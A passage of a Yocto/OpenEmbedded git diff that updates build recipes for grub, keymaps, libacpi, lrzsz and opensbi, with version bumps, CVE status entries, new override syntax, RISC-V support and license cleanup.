-SRC_URI[md5sum] = "5ce674ca6b2612d8939b9e6abed32934"
-SRC_URI[sha256sum] = "f10c85ae3e204dbaec39ae22fa3c5e99f0665417e91c2cb49b7e5031658ba6ea"
+
+SRC_URI[sha256sum] = "b30919fa5be280417c17ac561bb1650f60cfb80cc6237fa1e2b6f56154cb9c91"
+
+CVE_STATUS[CVE-2019-14865] = "not-applicable-platform: applies only to RHEL"
+CVE_STATUS[CVE-2021-46705] = "not-applicable-platform: Applies only to SUSE"
+CVE_STATUS[CVE-2023-4001] = "not-applicable-platform: Applies only to RHEL/Fedora"
+CVE_STATUS[CVE-2024-1048] = "not-applicable-platform: Applies only to RHEL/Fedora"
+CVE_STATUS[CVE-2023-4692] = "cpe-incorrect: Fixed in version 2.12 already"
+CVE_STATUS[CVE-2023-4693] = "cpe-incorrect: Fixed in version 2.12 already"
DEPENDS = "flex-native bison-native gettext-native"
-COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*)-(linux.*|freebsd.*)'
-COMPATIBLE_HOST_armv7a = 'null'
-COMPATIBLE_HOST_armv7ve = 'null'
+GRUB_COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*|riscv.*)-(linux.*|freebsd.*)'
+COMPATIBLE_HOST = "${GRUB_COMPATIBLE_HOST}"
+# Grub doesn't support hard float toolchain and won't be able to forcefully
+# disable it on some of the target CPUs. See 'configure.ac' for
+# supported/unsupported CPUs in hardfp.
+COMPATIBLE_HOST:armv7a = "${@'null' if bb.utils.contains('TUNE_CCARGS_MFLOAT', 'hard', True, False, d) else d.getVar('GRUB_COMPATIBLE_HOST')}"
+COMPATIBLE_HOST:armv7ve = "${@'null' if bb.utils.contains('TUNE_CCARGS_MFLOAT', 'hard', True, False, d) else d.getVar('GRUB_COMPATIBLE_HOST')}"
# configure.ac has code to set this automagically from the target tuple
# but the OE freeform one (core2-foo-bar-linux) don't work with that.
-GRUBPLATFORM_arm = "efi"
-GRUBPLATFORM_aarch64 = "efi"
+GRUBPLATFORM:arm = "efi"
+GRUBPLATFORM:aarch64 = "efi"
+GRUBPLATFORM:riscv32 = "efi"
+GRUBPLATFORM:riscv64 = "efi"
GRUBPLATFORM ??= "pc"
inherit autotools gettext texinfo pkgconfig
+CFLAGS:remove = "-O2"
+
EXTRA_OECONF = "--with-platform=${GRUBPLATFORM} \
--disable-grub-mkfont \
--program-prefix="" \
@@ -61,8 +77,13 @@ BUILD_LDFLAGS = ""
export PYTHON = "python3"
-do_configure_prepend() {
+do_configure:prepend() {
cd ${S}
+
+ # Remove in next version.
+ # See: https://git.savannah.gnu.org/cgit/grub.git/commit/?id=b835601c7639ed1890f2d3db91900a8506011a8e
+ echo "depends bli part_gpt" > ${S}/grub-core/extra_deps.lst
+
FROM_BOOTSTRAP=1 ${S}/autogen.sh
cd ${B}
}
diff --git a/meta/recipes-bsp/grub/grub_2.04.bb b/meta/recipes-bsp/grub/grub_2.04.bb
deleted file mode 100644
index df607cae14..0000000000
--- a/meta/recipes-bsp/grub/grub_2.04.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-require grub2.inc
-
-RDEPENDS_${PN}-common += "${PN}-editenv"
-RDEPENDS_${PN} += "${PN}-common"
-RDEPENDS_${PN}_class-native = ""
-
-RPROVIDES_${PN}-editenv += "${PN}-efi-editenv"
-
-PROVIDES_append_class-native = " grub-efi-native"
-
-PACKAGES =+ "${PN}-editenv ${PN}-common"
-FILES_${PN}-editenv = "${bindir}/grub-editenv"
-FILES_${PN}-common = " \
- ${bindir} \
- ${sysconfdir} \
- ${sbindir} \
- ${datadir}/grub \
-"
-
-FILES_${PN}-common_append_aarch64 = " \
- ${libdir}/${BPN} \
-"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/grub.d
- # Remove build host references...
- find "${D}" -name modinfo.sh -type f -exec \
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- {} +
-}
-
-INSANE_SKIP_${PN} = "arch"
-INSANE_SKIP_${PN}-dbg = "arch"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-bsp/grub/grub_2.12.bb b/meta/recipes-bsp/grub/grub_2.12.bb
new file mode 100644
index 0000000000..05d462785c
--- /dev/null
+++ b/meta/recipes-bsp/grub/grub_2.12.bb
@@ -0,0 +1,41 @@
+require grub2.inc
+
+RDEPENDS:${PN}-common += "${PN}-editenv"
+RDEPENDS:${PN} += "${PN}-common"
+RDEPENDS:${PN}:class-native = ""
+
+RPROVIDES:${PN}-editenv += "${PN}-efi-editenv"
+
+PROVIDES:append:class-native = " grub-efi-native"
+
+PACKAGES =+ "${PN}-editenv ${PN}-common"
+FILES:${PN}-editenv = "${bindir}/grub-editenv"
+FILES:${PN}-common = " \
+ ${bindir} \
+ ${sysconfdir} \
+ ${sbindir} \
+ ${datadir}/grub \
+"
+ALLOW_EMPTY:${PN} = "1"
+
+do_install:append () {
+ # Avoid conflicts with the EFI package for systems such as arm64 where we
+ # need to build grub and grub-efi but only EFI is supported by removing EFI
+ # from this package.
+ rm -rf ${D}${libdir}/grub/*-efi/
+ rmdir --ignore-fail-on-non-empty ${D}${libdir}/grub ${D}${libdir}
+
+ install -d ${D}${sysconfdir}/grub.d
+ # Remove build host references...
+ find "${D}" -name modinfo.sh -type f -exec \
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ {} +
+}
+
+INSANE_SKIP:${PN} = "arch"
+INSANE_SKIP:${PN}-dbg = "arch"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-bsp/keymaps/files/GPLv2.patch b/meta/recipes-bsp/keymaps/files/GPLv2.patch
deleted file mode 100644
index 1ee8181f12..0000000000
--- a/meta/recipes-bsp/keymaps/files/GPLv2.patch
+++ /dev/null
@@ -1,347 +0,0 @@
-Upstream-Status: Inappropriate [licensing]
-
-diff --git a/COPYING b/COPYING
-new file mode 100644
-index 0000000..d511905
---- /dev/null
-+++ b/COPYING
-@@ -0,0 +1,339 @@
-+ GNU GENERAL PUBLIC LICENSE
-+ Version 2, June 1991
-+
-+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
-+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-+ Everyone is permitted to copy and distribute verbatim copies
-+ of this license document, but changing it is not allowed.
-+
-+ Preamble
-+
-+ The licenses for most software are designed to take away your
-+freedom to share and change it. By contrast, the GNU General Public
-+License is intended to guarantee your freedom to share and change free
-+software--to make sure the software is free for all its users. This
-+General Public License applies to most of the Free Software
-+Foundation's software and to any other program whose authors commit to
-+using it. (Some other Free Software Foundation software is covered by
-+the GNU Lesser General Public License instead.) You can apply it to
-+your programs, too.
-+
-+ When we speak of free software, we are referring to freedom, not
-+price. Our General Public Licenses are designed to make sure that you
-+have the freedom to distribute copies of free software (and charge for
-+this service if you wish), that you receive source code or can get it
-+if you want it, that you can change the software or use pieces of it
-+in new free programs; and that you know you can do these things.
-+
-+ To protect your rights, we need to make restrictions that forbid
-+anyone to deny you these rights or to ask you to surrender the rights.
-+These restrictions translate to certain responsibilities for you if you
-+distribute copies of the software, or if you modify it.
-+
-+ For example, if you distribute copies of such a program, whether
-+gratis or for a fee, you must give the recipients all the rights that
-+you have. You must make sure that they, too, receive or can get the
-+source code. And you must show them these terms so they know their
-+rights.
-+
-+ We protect your rights with two steps: (1) copyright the software, and
-+(2) offer you this license which gives you legal permission to copy,
-+distribute and/or modify the software.
-+
-+ Also, for each author's protection and ours, we want to make certain
-+that everyone understands that there is no warranty for this free
-+software. If the software is modified by someone else and passed on, we
-+want its recipients to know that what they have is not the original, so
-+that any problems introduced by others will not reflect on the original
-+authors' reputations.
-+
-+ Finally, any free program is threatened constantly by software
-+patents. We wish to avoid the danger that redistributors of a free
-+program will individually obtain patent licenses, in effect making the
-+program proprietary. To prevent this, we have made it clear that any
-+patent must be licensed for everyone's free use or not licensed at all.
-+
-+ The precise terms and conditions for copying, distribution and
-+modification follow.
-+
-+ GNU GENERAL PUBLIC LICENSE
-+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-+
-+ 0. This License applies to any program or other work which contains
-+a notice placed by the copyright holder saying it may be distributed
-+under the terms of this General Public License. The "Program", below,
-+refers to any such program or work, and a "work based on the Program"
-+means either the Program or any derivative work under copyright law:
-+that is to say, a work containing the Program or a portion of it,
-+either verbatim or with modifications and/or translated into another
-+language. (Hereinafter, translation is included without limitation in
-+the term "modification".) Each licensee is addressed as "you".
-+
-+Activities other than copying, distribution and modification are not
-+covered by this License; they are outside its scope. The act of
-+running the Program is not restricted, and the output from the Program
-+is covered only if its contents constitute a work based on the
-+Program (independent of having been made by running the Program).
-+Whether that is true depends on what the Program does.
-+
-+ 1. You may copy and distribute verbatim copies of the Program's
-+source code as you receive it, in any medium, provided that you
-+conspicuously and appropriately publish on each copy an appropriate
-+copyright notice and disclaimer of warranty; keep intact all the
-+notices that refer to this License and to the absence of any warranty;
-+and give any other recipients of the Program a copy of this License
-+along with the Program.
-+
-+You may charge a fee for the physical act of transferring a copy, and
-+you may at your option offer warranty protection in exchange for a fee.
-+
-+ 2. You may modify your copy or copies of the Program or any portion
-+of it, thus forming a work based on the Program, and copy and
-+distribute such modifications or work under the terms of Section 1
-+above, provided that you also meet all of these conditions:
-+
-+ a) You must cause the modified files to carry prominent notices
-+ stating that you changed the files and the date of any change.
-+
-+ b) You must cause any work that you distribute or publish, that in
-+ whole or in part contains or is derived from the Program or any
-+ part thereof, to be licensed as a whole at no charge to all third
-+ parties under the terms of this License.
-+
-+ c) If the modified program normally reads commands interactively
-+ when run, you must cause it, when started running for such
-+ interactive use in the most ordinary way, to print or display an
-+ announcement including an appropriate copyright notice and a
-+ notice that there is no warranty (or else, saying that you provide
-+ a warranty) and that users may redistribute the program under
-+ these conditions, and telling the user how to view a copy of this
-+ License. (Exception: if the Program itself is interactive but
-+ does not normally print such an announcement, your work based on
-+ the Program is not required to print an announcement.)
-+
-+These requirements apply to the modified work as a whole. If
-+identifiable sections of that work are not derived from the Program,
-+and can be reasonably considered independent and separate works in
-+themselves, then this License, and its terms, do not apply to those
-+sections when you distribute them as separate works. But when you
-+distribute the same sections as part of a whole which is a work based
-+on the Program, the distribution of the whole must be on the terms of
-+this License, whose permissions for other licensees extend to the
-+entire whole, and thus to each and every part regardless of who wrote it.
-+
-+Thus, it is not the intent of this section to claim rights or contest
-+your rights to work written entirely by you; rather, the intent is to
-+exercise the right to control the distribution of derivative or
-+collective works based on the Program.
-+
-+In addition, mere aggregation of another work not based on the Program
-+with the Program (or with a work based on the Program) on a volume of
-+a storage or distribution medium does not bring the other work under
-+the scope of this License.
-+
-+ 3. You may copy and distribute the Program (or a work based on it,
-+under Section 2) in object code or executable form under the terms of
-+Sections 1 and 2 above provided that you also do one of the following:
-+
-+ a) Accompany it with the complete corresponding machine-readable
-+ source code, which must be distributed under the terms of Sections
-+ 1 and 2 above on a medium customarily used for software interchange; or,
-+
-+ b) Accompany it with a written offer, valid for at least three
-+ years, to give any third party, for a charge no more than your
-+ cost of physically performing source distribution, a complete
-+ machine-readable copy of the corresponding source code, to be
-+ distributed under the terms of Sections 1 and 2 above on a medium
-+ customarily used for software interchange; or,
-+
-+ c) Accompany it with the information you received as to the offer
-+ to distribute corresponding source code. (This alternative is
-+ allowed only for noncommercial distribution and only if you
-+ received the program in object code or executable form with such
-+ an offer, in accord with Subsection b above.)
-+
-+The source code for a work means the preferred form of the work for
-+making modifications to it. For an executable work, complete source
-+code means all the source code for all modules it contains, plus any
-+associated interface definition files, plus the scripts used to
-+control compilation and installation of the executable. However, as a
-+special exception, the source code distributed need not include
-+anything that is normally distributed (in either source or binary
-+form) with the major components (compiler, kernel, and so on) of the
-+operating system on which the executable runs, unless that component
-+itself accompanies the executable.
-+
-+If distribution of executable or object code is made by offering
-+access to copy from a designated place, then offering equivalent
-+access to copy the source code from the same place counts as
-+distribution of the source code, even though third parties are not
-+compelled to copy the source along with the object code.
-+
-+ 4. You may not copy, modify, sublicense, or distribute the Program
-+except as expressly provided under this License. Any attempt
-+otherwise to copy, modify, sublicense or distribute the Program is
-+void, and will automatically terminate your rights under this License.
-+However, parties who have received copies, or rights, from you under
-+this License will not have their licenses terminated so long as such
-+parties remain in full compliance.
-+
-+ 5. You are not required to accept this License, since you have not
-+signed it. However, nothing else grants you permission to modify or
-+distribute the Program or its derivative works. These actions are
-+prohibited by law if you do not accept this License. Therefore, by
-+modifying or distributing the Program (or any work based on the
-+Program), you indicate your acceptance of this License to do so, and
-+all its terms and conditions for copying, distributing or modifying
-+the Program or works based on it.
-+
-+ 6. Each time you redistribute the Program (or any work based on the
-+Program), the recipient automatically receives a license from the
-+original licensor to copy, distribute or modify the Program subject to
-+these terms and conditions. You may not impose any further
-+restrictions on the recipients' exercise of the rights granted herein.
-+You are not responsible for enforcing compliance by third parties to
-+this License.
-+
-+ 7. If, as a consequence of a court judgment or allegation of patent
-+infringement or for any other reason (not limited to patent issues),
-+conditions are imposed on you (whether by court order, agreement or
-+otherwise) that contradict the conditions of this License, they do not
-+excuse you from the conditions of this License. If you cannot
-+distribute so as to satisfy simultaneously your obligations under this
-+License and any other pertinent obligations, then as a consequence you
-+may not distribute the Program at all. For example, if a patent
-+license would not permit royalty-free redistribution of the Program by
-+all those who receive copies directly or indirectly through you, then
-+the only way you could satisfy both it and this License would be to
-+refrain entirely from distribution of the Program.
-+
-+If any portion of this section is held invalid or unenforceable under
-+any particular circumstance, the balance of the section is intended to
-+apply and the section as a whole is intended to apply in other
-+circumstances.
-+
-+It is not the purpose of this section to induce you to infringe any
-+patents or other property right claims or to contest validity of any
-+such claims; this section has the sole purpose of protecting the
-+integrity of the free software distribution system, which is
-+implemented by public license practices. Many people have made
-+generous contributions to the wide range of software distributed
-+through that system in reliance on consistent application of that
-+system; it is up to the author/donor to decide if he or she is willing
-+to distribute software through any other system and a licensee cannot
-+impose that choice.
-+
-+This section is intended to make thoroughly clear what is believed to
-+be a consequence of the rest of this License.
-+
-+ 8. If the distribution and/or use of the Program is restricted in
-+certain countries either by patents or by copyrighted interfaces, the
-+original copyright holder who places the Program under this License
-+may add an explicit geographical distribution limitation excluding
-+those countries, so that distribution is permitted only in or among
-+countries not thus excluded. In such case, this License incorporates
-+the limitation as if written in the body of this License.
-+
-+ 9. The Free Software Foundation may publish revised and/or new versions
-+of the General Public License from time to time. Such new versions will
-+be similar in spirit to the present version, but may differ in detail to
-+address new problems or concerns.
-+
-+Each version is given a distinguishing version number. If the Program
-+specifies a version number of this License which applies to it and "any
-+later version", you have the option of following the terms and conditions
-+either of that version or of any later version published by the Free
-+Software Foundation. If the Program does not specify a version number of
-+this License, you may choose any version ever published by the Free Software
-+Foundation.
-+
-+ 10. If you wish to incorporate parts of the Program into other free
-+programs whose distribution conditions are different, write to the author
-+to ask for permission. For software which is copyrighted by the Free
-+Software Foundation, write to the Free Software Foundation; we sometimes
-+make exceptions for this. Our decision will be guided by the two goals
-+of preserving the free status of all derivatives of our free software and
-+of promoting the sharing and reuse of software generally.
-+
-+ NO WARRANTY
-+
-+ 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
-+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
-+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
-+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-+REPAIR OR CORRECTION.
-+
-+ 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-+POSSIBILITY OF SUCH DAMAGES.
-+
-+ END OF TERMS AND CONDITIONS
-+
-+ How to Apply These Terms to Your New Programs
-+
-+ If you develop a new program, and you want it to be of the greatest
-+possible use to the public, the best way to achieve this is to make it
-+free software which everyone can redistribute and change under these terms.
-+
-+ To do so, attach the following notices to the program. It is safest
-+to attach them to the start of each source file to most effectively
-+convey the exclusion of warranty; and each file should have at least
-+the "copyright" line and a pointer to where the full notice is found.
-+
-+ <one line to give the program's name and a brief idea of what it does.>
-+ Copyright (C) <year> <name of author>
-+
-+ This program is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by
-+ the Free Software Foundation; either version 2 of the License, or
-+ (at your option) any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ GNU General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with this program; if not, write to the Free Software Foundation, Inc.,
-+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-+
-+Also add information on how to contact you by electronic and paper mail.
-+
-+If the program is interactive, make it output a short notice like this
-+when it starts in an interactive mode:
-+
-+ Gnomovision version 69, Copyright (C) year name of author
-+ Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-+ This is free software, and you are welcome to redistribute it
-+ under certain conditions; type `show c' for details.
-+
-+The hypothetical commands `show w' and `show c' should show the appropriate
-+parts of the General Public License. Of course, the commands you use may
-+be called something other than `show w' and `show c'; they could even be
-+mouse-clicks or menu items--whatever suits your program.
-+
-+You should also get your employer (if you work as a programmer) or your
-+school, if any, to sign a "copyright disclaimer" for the program, if
-+necessary. Here is a sample; alter the names:
-+
-+ Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-+ `Gnomovision' (which makes passes at compilers) written by James Hacker.
-+
-+ <signature of Ty Coon>, 1 April 1989
-+ Ty Coon, President of Vice
-+
-+This General Public License does not permit incorporating your program into
-+proprietary programs. If your program is a subroutine library, you may
-+consider it more useful to permit linking proprietary applications with the
-+library. If this is what you want to do, use the GNU Lesser General
-+Public License instead of this License.
diff --git a/meta/recipes-bsp/keymaps/files/keymap.sh b/meta/recipes-bsp/keymaps/files/keymap.sh
index 6ebc634266..26bda60408 100755
--- a/meta/recipes-bsp/keymaps/files/keymap.sh
+++ b/meta/recipes-bsp/keymaps/files/keymap.sh
@@ -1,6 +1,9 @@
#!/bin/sh
#
# load keymap, if existing
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
KERNEL_MAJMIN=`uname -r | cut -d '.' -f 1,2`
if [ -e /etc/keymap-$KERNEL_MAJMIN.map ]; then
diff --git a/meta/recipes-bsp/keymaps/keymaps_1.0.bb b/meta/recipes-bsp/keymaps/keymaps_1.0.bb
index 24b13f920f..3d5d127820 100644
--- a/meta/recipes-bsp/keymaps/keymaps_1.0.bb
+++ b/meta/recipes-bsp/keymaps/keymaps_1.0.bb
@@ -2,12 +2,11 @@ SUMMARY = "Keyboard maps"
DESCRIPTION = "Keymaps and initscript to set the keymap on bootup."
SECTION = "base"
-RDEPENDS_${PN} = "kbd"
+RDEPENDS:${PN} = "kbd"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://keymap.sh;beginline=5;endline=5;md5=829e563511c9a1d6d41f17a7a4989d6a"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-PR = "r31"
INHIBIT_DEFAULT_DEPS = "1"
@@ -20,8 +19,7 @@ python __anonymous() {
inherit update-rc.d
-SRC_URI = "file://keymap.sh \
- file://GPLv2.patch"
+SRC_URI = "file://keymap.sh"
INITSCRIPT_NAME = "keymap.sh"
INITSCRIPT_PARAMS = "start 01 S ."
@@ -37,8 +35,8 @@ do_install () {
fi
}
-PACKAGE_WRITE_DEPS_append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','systemd-systemctl-native','',d)}"
-pkg_postinst_${PN} () {
+PACKAGE_WRITE_DEPS:append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','systemd-systemctl-native','',d)}"
+pkg_postinst:${PN} () {
if ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','true','false',d)}; then
if [ -n "$D" ]; then
OPTS="--root=$D"
@@ -47,4 +45,4 @@ pkg_postinst_${PN} () {
fi
}
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-bsp/libacpi/libacpi_0.2.bb b/meta/recipes-bsp/libacpi/libacpi_0.2.bb
index fa9e3d4894..6aae34b310 100644
--- a/meta/recipes-bsp/libacpi/libacpi_0.2.bb
+++ b/meta/recipes-bsp/libacpi/libacpi_0.2.bb
@@ -5,7 +5,6 @@ SECTION = "base"
HOMEPAGE = "http://www.ngolde.de/libacpi.html"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=fec17f82f16630adf2dfb7d2a46f21c5"
-PR = "r6"
SRC_URI = "http://www.ngolde.de/download/libacpi-${PV}.tar.gz \
file://makefile-fix.patch \
@@ -22,7 +21,7 @@ UPSTREAM_CHECK_URI = "http://www.ngolde.de/libacpi.html"
inherit lib_package
-COMPATIBLE_HOST = '(x86_64|i.86).*-(linux|freebsd.*)'
+COMPATIBLE_HOST = '(x86_64|i.86|aarch64).*-(linux|freebsd.*)'
CFLAGS += "-fPIC"
EXTRA_OEMAKE = '-e MAKEFLAGS= STRIP="echo"'
diff --git a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch
new file mode 100644
index 0000000000..c8f0e2c4fe
--- /dev/null
+++ b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch
@@ -0,0 +1,36 @@
+From ecdcf0df6c28c65ca6d1e5638726e13e373c76c5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 11 Nov 2020 22:58:55 -0800
+Subject: [PATCH] Fix cross compilation using autoconf detected AR
+
+currently its using 'ar' program from build host, which is not expected,
+we need to respect AR passed in environment
+
+Upstream-Status: Inappropriate [upstream hasn't been active since 1998]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ configure.in | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+diff --git a/configure.in b/configure.in
+index 4ddbe8b..b7c3c31 100644
+--- a/configure.in
++++ b/configure.in
+@@ -84,6 +84,13 @@ AC_ARG_ENABLE(syslog,
+ ])
+
+ dnl Checks for programs.
++m4_ifndef([AC_PROG_AR],[dnl
++ AN_MAKEVAR([AR], [AC_PROG_AR])
++ AN_PROGRAM([ar], [AC_PROG_AR])
++ AC_DEFUN([AC_PROG_AR],
++ [AC_CHECK_TOOL(AR, ar, :)])
++])
++AC_PROG_AR
+ AC_PROG_CC
+ AC_PROG_GCC_TRADITIONAL
+ dnl AC_PROG_INSTALL included in AM_INIT_AUTOMAKE
+--
+2.29.2
+
diff --git a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch
index 33af38b4a8..ebd4a88081 100644
--- a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch
+++ b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch
@@ -1,6 +1,6 @@
Update autotools infrastructure (including gettext) to modern versions.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [upstream hasn't been active since 1998]
Signed-off-by: Phil Blundell <pb@pbcl.net>
diff -uprN clean/lrzsz-0.12.20/configure.in lrzsz-0.12.20/configure.in
diff --git a/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb b/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb
index 4129237c59..63edcbd864 100644
--- a/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb
+++ b/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb
@@ -5,12 +5,11 @@ These programs use error correcting protocols ({z,x,y}modem) to send (sz, sx, sb
receive (rz, rx, rb) files over a dial-in serial port from a variety of programs \
running under various operating systems. "
HOMEPAGE = "http://www.ohse.de/uwe/software/lrzsz.html"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
file://src/lrz.c;beginline=1;endline=10;md5=5276956373ff7d8758837f6399a1045f"
SECTION = "console/network"
DEPENDS = ""
-PR = "r6"
SRC_URI = "http://www.ohse.de/uwe/releases/lrzsz-${PV}.tar.gz \
file://autotools-update.patch \
@@ -19,6 +18,7 @@ SRC_URI = "http://www.ohse.de/uwe/releases/lrzsz-${PV}.tar.gz \
file://lrzsz-check-locale.h.patch \
file://cve-2018-10195.patch \
file://include.patch \
+ file://0001-Fix-cross-compilation-using-autoconf-detected-AR.patch \
"
SRC_URI[md5sum] = "b5ce6a74abc9b9eb2af94dffdfd372a4"
@@ -37,7 +37,7 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "rz rx rb sz sx sb"
+ALTERNATIVE:${PN} = "rz rx rb sz sx sb"
ALTERNATIVE_TARGET[rz] = "${bindir}/lrz"
ALTERNATIVE_TARGET[rx] = "${bindir}/lrz"
diff --git a/meta/recipes-bsp/opensbi/files/0001-Makefile-Don-t-specify-mabi-or-march.patch b/meta/recipes-bsp/opensbi/files/0001-Makefile-Don-t-specify-mabi-or-march.patch
deleted file mode 100644
index d2a8048e87..0000000000
--- a/meta/recipes-bsp/opensbi/files/0001-Makefile-Don-t-specify-mabi-or-march.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From fe9860fd85e49a75bef545e5d9914070491e8002 Mon Sep 17 00:00:00 2001
-From: Alistair Francis <alistair.francis@wdc.com>
-Date: Fri, 15 Feb 2019 14:57:41 -0800
-Subject: [PATCH] Makefile: Don't specify mabi or march
-
-To avoid
- can't link double-float modules with soft-float modules
-errors when building 32-bit openSBI don't specify mabi or march.
-
-Upstream-Status: Inappropriate [Fixes a 32-bit OE flow bug]
-Signed-off-by: Alistair Francis <alistair.francis@wdc.com>
-
----
- Makefile | 2 --
- 1 file changed, 2 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index ccf8ea3..69e5b38 100644
---- a/Makefile
-+++ b/Makefile
-@@ -169,7 +169,6 @@ GENFLAGS += $(firmware-genflags-y)
- CFLAGS = -g -Wall -Werror -ffreestanding -nostdlib -fno-strict-aliasing -O2
- CFLAGS += -fno-omit-frame-pointer -fno-optimize-sibling-calls
- CFLAGS += -mno-save-restore -mstrict-align
--CFLAGS += -mabi=$(PLATFORM_RISCV_ABI) -march=$(PLATFORM_RISCV_ISA)
- CFLAGS += -mcmodel=$(PLATFORM_RISCV_CODE_MODEL)
- CFLAGS += $(GENFLAGS)
- CFLAGS += $(platform-cflags-y)
-@@ -183,7 +182,6 @@ CPPFLAGS += $(firmware-cppflags-y)
- ASFLAGS = -g -Wall -nostdlib -D__ASSEMBLY__
- ASFLAGS += -fno-omit-frame-pointer -fno-optimize-sibling-calls
- ASFLAGS += -mno-save-restore -mstrict-align
--ASFLAGS += -mabi=$(PLATFORM_RISCV_ABI) -march=$(PLATFORM_RISCV_ISA)
- ASFLAGS += -mcmodel=$(PLATFORM_RISCV_CODE_MODEL)
- ASFLAGS += $(GENFLAGS)
- ASFLAGS += $(platform-asflags-y)
diff --git a/meta/recipes-bsp/opensbi/opensbi-payloads.inc b/meta/recipes-bsp/opensbi/opensbi-payloads.inc
index 2e32943245..a55679632e 100644
--- a/meta/recipes-bsp/opensbi/opensbi-payloads.inc
+++ b/meta/recipes-bsp/opensbi/opensbi-payloads.inc
@@ -1,21 +1,38 @@
def riscv_get_extra_oemake_image(d):
sbi_payload = d.getVar('RISCV_SBI_PAYLOAD')
- deploy_dir = d.getVar('DEPLOY_DIR_IMAGE')
-
if sbi_payload is None:
return ""
+ deploy_dir = d.getVar('DEPLOY_DIR_IMAGE')
+
return "FW_PAYLOAD_PATH=" + deploy_dir + "/" + sbi_payload
-def riscv_get_do_compile_depends(d):
- sbi_payload = d.getVar('RISCV_SBI_PAYLOAD')
+def riscv_get_extra_oemake_fdt(d):
+ if d.getVar('RISCV_SBI_PAYLOAD') is None:
+ return ""
